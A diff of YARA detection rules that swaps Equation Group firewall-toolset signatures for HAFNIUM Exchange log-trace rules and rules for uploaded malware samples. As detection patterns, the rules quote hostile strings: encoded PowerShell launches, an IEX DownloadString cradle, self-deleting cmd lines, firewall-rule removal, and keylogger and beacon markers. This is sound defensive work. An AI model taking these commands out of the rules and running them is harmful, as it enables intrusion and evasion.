-		( uint16(0)==0x2123 and filesize <90KB and 1 of ($s*)) or (4 of them )
+		1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_EQGRP_Implants_Gen2 : FILE
+rule SIGNATURE_BASE_EXPL_LOG_CVE_2021_26858_Exchange_Forensic_Artefacts_Mar21_1 : LOG CVE_2021_26858
 {
 	meta:
-		description = "EQGRP Toolset Firewall"
+		description = "Detects forensic artefacts found in HAFNIUM intrusions exploiting CVE-2021-26858"
 		author = "Florian Roth (Nextron Systems)"
-		id = "58b0b51d-d1f8-5ee2-a4af-491c49dd0573"
-		date = "2016-08-16"
-		modified = "2023-12-05"
-		reference = "Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L1137-L1168"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c3cbe11ae38f5affffab247cdc618d0afb5a0feda6ea4b2f43dd8edb2fbf2b11"
-		score = 75
+		id = "f6fa90c7-c2c0-56db-bf7b-dc146761a995"
+		date = "2021-03-02"
+		modified = "2021-03-04"
+		reference = "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_hafnium_log_sigs.yar#L15-L28"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0a8296b7e990e52330412288e9ff71e08a5258fc63c4754e6d0e6d64302f55e6"
+		score = 65
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "3366b4bbf265716869a487203a8ac39867920880990493dd4dd8385e42b0c119"
-		hash2 = "05031898f3d52a5e05de119868c0ec7caad3c9f3e9780e12f6f28b02941895a4"
-		hash3 = "d9756e3ba272cd4502d88f4520747e9e69d241dee6561f30423840123c1a7939"
-		hash4 = "8e4a76c4b50350b67cabbb2fed47d781ee52d8d21121647b0c0356498aeda2a2"
-		hash5 = "6059bec5cf297266079d52dbb29ab9b9e0b35ce43f718022b5b5f760c1976ec3"
-		hash6 = "464b4c01f93f31500d2d770360d23bdc37e5ad4885e274a629ea86b2accb7a5c"
+		tags = "LOG, CVE-2021-26858"
 
 	strings:
-		$x1 = "Modules persistence file written successfully" fullword ascii
-		$x2 = "Modules persistence data successfully removed" fullword ascii
-		$x3 = "No Modules are active on the firewall, nothing to persist" fullword ascii
-		$s1 = "--cmd %x --idkey %s --sport %i --dport %i --lp %s --implant %s --bsize %hu --logdir %s " fullword ascii
-		$s2 = "Error while attemping to persist modules:" fullword ascii
-		$s3 = "Error while reading interface info from PIX" fullword ascii
-		$s4 = "LP.c:pixFree - Failed to get response" fullword ascii
-		$s5 = "WARNING: LP Timeout specified (%lu seconds) less than default (%u seconds).  Setting default" fullword ascii
-		$s6 = "Unable to fetch config address for this OS version" fullword ascii
-		$s7 = "LP.c: interface information not available for this session" fullword ascii
-		$s8 = "[%s:%s:%d] ERROR: " fullword ascii
-		$s9 = "extract_fgbg" fullword ascii
+		$xr1 = /POST (\/owa\/auth\/Current\/themes\/resources\/logon\.css|\/owa\/auth\/Current\/themes\/resources\/owafont_ja\.css|\/owa\/auth\/Current\/themes\/resources\/lgnbotl\.gif|\/owa\/auth\/Current\/themes\/resources\/owafont_ko\.css|\/owa\/auth\/Current\/themes\/resources\/SegoeUI-SemiBold\.eot|\/owa\/auth\/Current\/themes\/resources\/SegoeUI-SemiLight\.ttf|\/owa\/auth\/Current\/themes\/resources\/lgnbotl\.gif)/
 
 	condition:
-		( uint16(0)==0x457f and filesize <3000KB and 1 of ($x*)) or (5 of them )
+		$xr1
 }
-import "pe"
-
-rule SIGNATURE_BASE_EQGRP_Implants_Gen1 : FILE
+rule SIGNATURE_BASE_LOG_APT_HAFNIUM_Exchange_Log_Traces_Mar21_1 : LOG
 {
 	meta:
-		description = "EQGRP Toolset Firewall"
+		description = "Detects suspicious log entries that indicate requests as described in reports on HAFNIUM activity"
 		author = "Florian Roth (Nextron Systems)"
-		id = "af0a1a2c-0efb-568f-9e80-baee7398fea2"
-		date = "2016-08-16"
+		id = "a51f0bd5-c6fd-5ee4-9d30-9a6001778013"
+		date = "2021-03-04"
 		modified = "2023-12-05"
-		reference = "Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L1170-L1199"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1493f78e74503c367e3c5d8eac32167a7ad34d2435eba00e1f7bf864682e10a5"
-		score = 75
-		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "3366b4bbf265716869a487203a8ac39867920880990493dd4dd8385e42b0c119"
-		hash2 = "830538fe8c981ca386c6c7d55635ac61161b23e6e25d96280ac2fc638c2d82cc"
-		hash3 = "05031898f3d52a5e05de119868c0ec7caad3c9f3e9780e12f6f28b02941895a4"
-		hash4 = "d9756e3ba272cd4502d88f4520747e9e69d241dee6561f30423840123c1a7939"
-		hash5 = "8e4a76c4b50350b67cabbb2fed47d781ee52d8d21121647b0c0356498aeda2a2"
-		hash6 = "6059bec5cf297266079d52dbb29ab9b9e0b35ce43f718022b5b5f760c1976ec3"
-		hash7 = "d859ce034751cac960825268a157ced7c7001d553b03aec54e6794ff66185e6f"
-		hash8 = "ee3e3487a9582181892e27b4078c5a3cb47bb31fc607634468cc67753f7e61d7"
-		hash9 = "464b4c01f93f31500d2d770360d23bdc37e5ad4885e274a629ea86b2accb7a5c"
+		reference = "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_hafnium_log_sigs.yar#L30-L46"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "03b90c121cc5169eef66e111648d5641acc785e60a20c658ba7f4d1cf032cd92"
+		score = 65
+		quality = 83
+		tags = "LOG"
 
 	strings:
-		$s1 = "WARNING:  Session may not have been closed!" fullword ascii
-		$s2 = "EXEC Packet Processed" fullword ascii
-		$s3 = "Failed to insert the command into command list." fullword ascii
-		$s4 = "Send_Packet: Trying to send too much data." fullword ascii
-		$s5 = "payloadLength >= MAX_ALLOW_SIZE." fullword ascii
-		$s6 = "Wrong Payload Size" fullword ascii
-		$s7 = "Unknown packet received......" fullword ascii
-		$s8 = "Returned eax = %08x" fullword ascii
+		$xr1 = /POST \/(ecp\/y\.js|ecp\/main\.css|ecp\/default\.flt|ecp\/auth\/w\.js|owa\/auth\/w\.js)[^\n]{100,600} (200|301|302) /
+		$xr3 = /POST \/owa\/auth\/Current\/[^\n]{100,600} (DuckDuckBot\/1\.0;\+\(\+http:\/\/duckduckgo\.com\/duckduckbot\.html\)|facebookexternalhit\/1\.1\+\(\+http:\/\/www\.facebook\.com\/externalhit_uatext\.php\)|Mozilla\/5\.0\+\(compatible;\+Baiduspider\/2\.0;\+\+http:\/\/www\.baidu\.com\/search\/spider\.html\)|Mozilla\/5\.0\+\(compatible;\+Bingbot\/2\.0;\+\+http:\/\/www\.bing\.com\/bingbot\.htm\)|Mozilla\/5\.0\+\(compatible;\+Googlebot\/2\.1;\+\+http:\/\/www\.google\.com\/bot\.html|Mozilla\/5\.0\+\(compatible;\+Konqueror\/3\.5;\+Linux\)\+KHTML\/3\.5\.5\+\(like\+Gecko\)\+\(Exabot-Thumbnails\)|Mozilla\/5\.0\+\(compatible;\+Yahoo!\+Slurp;\+http:\/\/help\.yahoo\.com\/help\/us\/ysearch\/slurp\)|Mozilla\/5\.0\+\(compatible;\+YandexBot\/3\.0;\+\+http:\/\/yandex\.com\/bots\)|Mozilla\/5\.0\+\(X11;\+Linux\+x86_64\)\+AppleWebKit\/537\.36\+\(KHTML,\+like\+Gecko\)\+Chrome\/51\.0\.2704\.103\+Safari\/537\.3)/
+		$xr4 = /POST \/ecp\/[^\n]{100,600} (ExchangeServicesClient\/0\.0\.0\.0|python-requests\/2\.19\.1|python-requests\/2\.25\.1)[^\n]{200,600} (200|301|302) /
+		$xr5 = /POST \/(aspnet_client|owa)\/[^\n]{100,600} (antSword\/v2\.1|Googlebot\/2\.1\+\(\+http:\/\/www\.googlebot\.com\/bot\.html\)|Mozilla\/5\.0\+\(compatible;\+Baiduspider\/2\.0;\+\+http:\/\/www\.baidu\.com\/search\/spider\.html\))[^\n]{200,600} (200|301|302) /
 
 	condition:
-		( uint16(0)==0x457f and filesize <6000KB and (2 of ($s*))) or (5 of them )
+		1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_EQGRP_Eligiblebombshell_Generic : FILE
+rule SIGNATURE_BASE_LOG_Exchange_Forensic_Artefacts_Cleanup_Activity_Mar21_1 : LOG
 {
 	meta:
-		description = "EQGRP Toolset Firewall - from files eligiblebombshell_1.2.0.1.py, eligiblebombshell_1.2.0.1.py"
+		description = "Detects forensic artefacts showing cleanup activity found in HAFNIUM intrusions exploiting"
 		author = "Florian Roth (Nextron Systems)"
-		id = "7abe53f6-9880-523a-b71f-6e3850047764"
-		date = "2016-08-16"
+		id = "95b19544-147b-5496-b717-669cbc488179"
+		date = "2021-03-08"
 		modified = "2023-12-05"
-		reference = "Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L1201-L1218"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a2e13300736f99aff30c7b4f7f0b148d62ecb1e72435a3e15e4f85b30d904ffd"
-		score = 75
+		reference = "https://twitter.com/jdferrell3/status/1368626281970024448"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_hafnium_log_sigs.yar#L48-L65"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "12e5b76dafcae13f1eb21913ae0bde233152fd8b9d29f073893418ac9f742de3"
+		score = 70
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "dd0e3ae6e1039a755bf6cb28bf726b4d6ab4a1da2392ba66d114a43a55491eb1"
-		hash2 = "dd0e3ae6e1039a755bf6cb28bf726b4d6ab4a1da2392ba66d114a43a55491eb1"
+		tags = "LOG"
 
 	strings:
-		$s1 = "logging.error(\"       Perhaps you should run with --scan?\")" fullword ascii
-		$s2 = "logging.error(\"ERROR: No entry for ETag [%s] in %s.\" %" fullword ascii
-		$s3 = "\"be supplied\")" fullword ascii
+		$x1 = "cmd.exe /c cd /d C:/inetpub/wwwroot/aspnet_client" ascii wide
+		$x2 = "cmd.exe /c cd /d C:\\inetpub\\wwwroot\\aspnet_client" ascii wide
+		$s1 = "aspnet_client&del '"
+		$s2 = "aspnet_client&attrib +h +s +r "
+		$s3 = "&echo [S]"
 
 	condition:
-		( filesize <70KB and 2 of ($s*)) or ( all of them )
+		1 of ($x*) or 2 of them
 }
-import "pe"
+rule SIGNATURE_BASE_EXPL_LOG_CVE_2021_27055_Exchange_Forensic_Artefacts : LOG
+{
+	meta:
+		description = "Detects suspicious log entries that indicate requests as described in reports on HAFNIUM activity"
+		author = "Zach Stanford - @svch0st, Florian Roth"
+		id = "8b0110a9-fd03-5f7d-bdd8-03ff48bcac68"
+		date = "2021-03-10"
+		modified = "2021-03-15"
+		reference = "https://www.praetorian.com/blog/reproducing-proxylogon-exploit/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_hafnium_log_sigs.yar#L67-L90"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "131ff0ce189dfeace0922000b0d15dfb5a1270bee8fba8e4d66aa75b1d3f864f"
+		score = 65
+		quality = 60
+		tags = "LOG"
 
-rule SIGNATURE_BASE_EQGRP_Ssh_Telnet_29 : FILE
+	strings:
+		$x1 = "ServerInfo~" ascii wide
+		$sr1 = /\/ecp\/[0-9a-zA-Z]{1,3}\.js/ ascii wide
+		$s1 = "/ecp/auth/w.js" ascii wide
+		$s2 = "/owa/auth/w.js" ascii wide
+		$s3 = "/owa/auth/x.js" ascii wide
+		$s4 = "/ecp/main.css" ascii wide
+		$s5 = "/ecp/default.flt" ascii wide
+		$s6 = "/owa/auth/Current/themes/resources/logon.css" ascii wide
+
+	condition:
+		$x1 and 1 of ($s*)
+}
+rule SIGNATURE_BASE_LOG_CVE_2021_27065_Exchange_Forensic_Artefacts_Mar21_2 : LOG
 {
 	meta:
-		description = "EQGRP Toolset Firewall - from files ssh.py, telnet.py"
+		description = "Detects suspicious log entries that indicate requests as described in reports on HAFNIUM activity"
 		author = "Florian Roth (Nextron Systems)"
-		id = "cc6edf63-f7ef-579a-82c5-28e5012561e0"
-		date = "2016-08-16"
+		id = "37a26def-b360-518e-a4ab-9604a5b39afd"
+		date = "2021-03-10"
 		modified = "2023-12-05"
-		reference = "Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L1220-L1241"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e93a54f4de089d460bfb966feacc377c0467863f481a210c81970f4909fb3bd8"
-		score = 75
+		reference = "https://www.praetorian.com/blog/reproducing-proxylogon-exploit/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_hafnium_log_sigs.yar#L92-L104"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "13e2e46689bc0e87c3cf13dc2ce213c384afe6c03c21e62a467974a0518c12da"
+		score = 65
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "630d464b1d08c4dfd0bd50552bee2d6a591fb0b5597ecebaa556a3c3d4e0aa4e"
-		hash2 = "07f4c60505f4d5fb5c4a76a8c899d9b63291444a3980d94c06e1d5889ae85482"
+		tags = "LOG"
 
 	strings:
-		$s1 = "received prompt, we're in" fullword ascii
-		$s2 = "failed to login, bad creds, abort" fullword ascii
-		$s3 = "sending command \" + str(n) + \"/\" + str(tot) + \", len \" + str(len(chunk) + " fullword ascii
-		$s4 = "received nat - EPBA: ok, payload: mangled, did not run" fullword ascii
-		$s5 = "no status returned from target, could be an exploit failure, or this is a version where we don't expect a stus return" ascii
-		$s6 = "received arp - EPBA: ok, payload: fail" fullword ascii
-		$s7 = "chopped = string.rstrip(payload, \"\\x0a\")" fullword ascii
+		$sr1 = /GET \/rpc\/ &CorrelationID=<empty>;&RequestId=[^\n]{40,600} (200|301|302)/
 
 	condition:
-		( filesize <10KB and 2 of them ) or (3 of them )
+		$sr1
 }
-import "pe"
-
-rule SIGNATURE_BASE_EQGRP_Tinyexec : FILE
+rule SIGNATURE_BASE_Malware_QA_Not_Copy : FILE
 {
 	meta:
-		description = "EQGRP Toolset Firewall - from files tinyexec"
+		description = "VT Research QA uploaded malware - file not copy.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b783bafd-52e2-59e8-98ab-47de3250415e"
-		date = "2016-08-16"
+		id = "d618389b-ec80-5ad1-be44-4b1f3e36c07d"
+		date = "2016-08-29"
 		modified = "2023-12-05"
-		reference = "Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L1245-L1258"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "19b8d7e946d72424f81cd48ad4bf8791bf50a4cc146866e55ad501443a8d1e45"
-		score = 75
+		reference = "VT Research QA"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_malware_set_qa.yar#L13-L37"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4001d71101a9c6d4134e7ed4b9b03d34ada62241a668970e21a60d7a23dd7b86"
+		score = 80
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "1410f38498567b64a4b984c69fe4f2859421e4ac598b9750d8f703f1d209f836"
 
 	strings:
-		$s1 = { 73 68 73 74 72 74 61 62 00 2E 74 65 78 74 }
-		$s2 = { 5A 58 55 52 89 E2 55 50 89 E1 }
+		$x1 = "U2VydmVyLmV4ZQ==" fullword wide
+		$x2 = "\\not copy\\obj\\Debug\\not copy.pdb" ascii
+		$x3 = "fuckyou888.ddns.net" fullword wide
+		$s1 = "cmd.exe /c ping 0 -n 2 & del \"" fullword wide
+		$s2 = "Server.exe" fullword wide
+		$s3 = "Execute ERROR" fullword wide
+		$s4 = "not copy.exe" fullword wide
+		$s5 = "Non HosT" fullword wide
+		$s6 = "netsh firewall delete allowedprogram" fullword wide
 
 	condition:
-		uint32(0)==0x464c457f and filesize <270 and all of them
+		( uint16(0)==0x5a4d and filesize <1000KB and (1 of ($x*) or 4 of ($s*))) or (5 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_EQGRP_Callbacks
+rule SIGNATURE_BASE_Malware_QA_Update : FILE
 {
 	meta:
-		description = "EQGRP Toolset Firewall - Callback addresses"
+		description = "VT Research QA uploaded malware - file update.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "dd1fbe09-4def-562d-825d-e790dc2c3dd9"
-		date = "2016-08-16"
+		id = "1dce684d-33b0-5588-8325-2a34c0cde32f"
+		date = "2016-08-29"
 		modified = "2023-12-05"
-		reference = "Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L1260-L1272"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "34881cf8f9f29482a1e129f0f61470d4cc3fa6b78b9f6dda25862371896deca7"
-		score = 75
+		reference = "VT Research QA"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_malware_set_qa.yar#L39-L69"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "97e0fec7bb4ebf326b449cc0d65eb9f024b33e1d2e54c6d3893164b66c024b2a"
+		score = 80
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "6d805533623d7063241620eec38b7eb9b625533ccadeaf4f6c2cc6db32711541"
+		hash2 = "6415b45f5bae6429dd5d92d6cae46e8a704873b7090853e68e80cd179058903e"
 
 	strings:
-		$s1 = "30.40.50.60:9342" fullword ascii wide
+		$x1 = "UnActiveOfflineKeylogger" fullword ascii
+		$x2 = "BTRESULTDownload File|Mass Download : File Downloaded , Executing new one in temp dir...|" fullword ascii
+		$x3 = "ActiveOnlineKeylogger" fullword ascii
+		$x4 = "C:\\Users\\DarkCoderSc\\" ascii
+		$x5 = "Celesty Binder\\Stub\\STATIC\\Stub.pdb" ascii
+		$x6 = "BTRESULTUpdate from URL|Update : File Downloaded , Executing new one in temp dir...|" fullword ascii
+		$s1 = "MSRSAAP.EXE" fullword wide
+		$s2 = "Command successfully executed!|" fullword ascii
+		$s3 = "BTMemoryLoadLibary: Get DLLEntyPoint failed" fullword ascii
+		$s4 = "I wasn't able to open the hosts file, maybe because UAC is enabled in remote computer!" fullword ascii
+		$s5 = "\\Internet Explorer\\iexplore.exe" ascii
+		$s6 = "ping 127.0.0.1 -n 4 > NUL && \"" fullword ascii
+		$s7 = "BTMemoryGetProcAddress: DLL doesn't export anything" fullword ascii
+		$s8 = "POST /index.php/1.0" fullword ascii
 
 	condition:
-		1 of them
+		( uint16(0)==0x5a4d and filesize <3000KB and (1 of ($x*) or 3 of ($s*))) or ( all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_EQGRP_Extrabacon_Output
+rule SIGNATURE_BASE_Malware_QA_Tls : FILE
 {
 	meta:
-		description = "EQGRP Toolset Firewall - Extrabacon exploit output"
+		description = "VT Research QA uploaded malware - file tls.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b2070ed7-e95a-534a-8f27-63c5ca9251b4"
-		date = "2016-08-16"
+		id = "b3b654b1-73cf-5e04-a332-34777f646a66"
+		date = "2016-08-29"
 		modified = "2023-12-05"
-		reference = "Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L1274-L1290"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5e71a4380dd30e68d89add1718976d3207a161d2d61fd4c3250fc4b10a0f53a0"
-		score = 75
+		reference = "VT Research QA"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_malware_set_qa.yar#L71-L87"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "20c849d8c60acd77a28244c7ebcbb2f96b233e74af6c52112a0c828e1de2ed84"
+		score = 80
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "f06d1f2bee2eb6590afbfa7f011ceba9bd91ba31cdc721bc728e13b547ac9370"
 
 	strings:
-		$s1 = "|###[ SNMPresponse ]###" fullword ascii
-		$s2 = "[+] generating exploit for exec mode pass-disable" fullword ascii
-		$s3 = "[+] building payload for mode pass-disable" fullword ascii
-		$s4 = "[+] Executing:  extrabacon" fullword ascii
-		$s5 = "appended AAAADMINAUTH_ENABLE payload" fullword ascii
+		$s1 = "\\funoverip\\ultimate-payload-template1\\" ascii
+		$s2 = "ULTIMATEPAYLOADTEMPLATE1" fullword wide
+		$s3 = "ultimate-payload-template1" fullword wide
 
 	condition:
-		2 of them
+		( uint16(0)==0x5a4d and filesize <300KB and 1 of them ) or ( all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_EQGRP_Unique_Strings
+rule SIGNATURE_BASE_Malware_QA_Get_The_Fucking_IP : FILE
 {
 	meta:
-		description = "EQGRP Toolset Firewall - Unique strings"
+		description = "VT Research QA uploaded malware - file get The FucKinG IP.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "08f5f1e3-ce4e-54ef-922f-50446edfcd70"
-		date = "2016-08-16"
+		id = "1c992fc5-79cf-532c-a18b-cfcc3406d6ed"
+		date = "2016-08-29"
 		modified = "2023-12-05"
-		reference = "Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L1292-L1305"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "070358ec9cccb5d9daa4e5a016d4f9a988b600d675484f06dc9a897cadf7af0c"
-		score = 75
+		reference = "VT Research QA"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_malware_set_qa.yar#L89-L107"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ab6a60142ef0e7a6e079a1b62da0b962dc3b59584b785516e93c74669574a81b"
+		score = 80
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "7b2c04e384919075be96e3412d92c14fc1165d1bc7556fd207488959c5c4d2f7"
 
 	strings:
-		$s1 = "/BananaGlee/ELIGIBLEBOMB" ascii
-		$s2 = "Protocol must be either http or https (Ex: https://1.2.3.4:1234)"
+		$x1 = "C:\\Users\\Mdram ahmed\\AppData"
+		$x2 = "\\Local\\Temporary Projects\\get The FucKinG IP\\" ascii
+		$x3 = "get The FucKinG IP.exe" fullword wide
+		$x4 = "get ip by mdr3m" fullword wide
+		$x5 = "MDR3M kik: Mdr3mhm" fullword wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5a4d and filesize <1000KB and 1 of ($x*)) or (2 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_EQGRP_RC5_RC6_Opcode
+rule SIGNATURE_BASE_Malware_QA_Vqgk : FILE
 {
 	meta:
-		description = "EQGRP Toolset Firewall - RC5 / RC6 opcode"
+		description = "VT Research QA uploaded malware - file vqgk.dll"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b12a1a2c-8d32-5318-a658-6aa1a08c3263"
-		date = "2016-08-17"
-		modified = "2023-12-05"
-		reference = "https://securelist.com/blog/incidents/75812/the-equation-giveaway/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L1307-L1326"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a79208c5924e1d5cc9db922f80403514e516eadb725393c1ebc9a6236ca90b98"
-		score = 75
+		id = "9246d9de-92e5-5cb8-857c-1e222c3d74d5"
+		date = "2016-08-29"
+		modified = "2022-12-21"
+		reference = "VT Research QA"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_malware_set_qa.yar#L109-L137"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "19b7099cdb8a984f1ba6cf88024db398a81ac4f4bf3c16cac40c5ee0e5b465fd"
+		score = 80
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "99541ab28fc3328e25723607df4b0d9ea0a1af31b58e2da07eff9f15c4e6565c"
 
 	strings:
-		$s1 = { 8B 74 91 FC 81 EE 47 86 C8 61 89 34 91 42 83 FA 2B }
+		$x1 = "Z:\\devcenter\\aggressor\\external" ascii
+		$x2 = "\\beacon\\Release\\beacon.pdb" ascii
+		$x3 = "%d is an x86 process (can't inject x64 content)" fullword ascii
+		$x4 = "%d is an x64 process (can't inject x86 content)" fullword ascii
+		$s1 = "powershell -nop -exec bypass -EncodedCommand \"%s\"" fullword ascii
+		$s2 = "Could not open process token: %d (%u)" fullword ascii
+		$s3 = "\\\\%s\\pipe\\msagent_%x" fullword ascii
+		$s4 = "\\sysnative\\rundll32.exe" ascii
+		$s5 = "Failed to impersonate logged on user %d (%u)" fullword ascii
+		$s6 = "IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s" fullword ascii
+		$s7 = "could not write to process memory: %d" fullword ascii
+		$s8 = "beacon.dll" fullword ascii
+		$s9 = "Failed to impersonate token from %d (%u)" fullword ascii
 
 	condition:
-		1 of them
+		( uint16(0)==0x5a4d and filesize <600KB and (1 of ($x*) or 5 of ($s*))) or (7 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Equationgroup_Modifyaudit_Implant : FILE
+rule SIGNATURE_BASE_Malware_QA_1177 : FILE
 {
 	meta:
-		description = "EquationGroup Malware - file modifyAudit_Implant.dll"
+		description = "VT Research QA uploaded malware - file 1177.vbs"
 		author = "Florian Roth (Nextron Systems)"
-		id = "0321f6c0-2250-5991-a1d9-f0598e13c665"
-		date = "2017-01-13"
+		id = "363228c1-f9f8-5319-91b2-7eabdd1ca3f8"
+		date = "2016-08-29"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/tcSoiJ"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L1337-L1353"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ec8b54f3489b1eeef491b03641805e0e4db0b5cbbb67a3ae3d37dad184f54b01"
-		score = 75
-		quality = 85
+		reference = "VT Research QA"
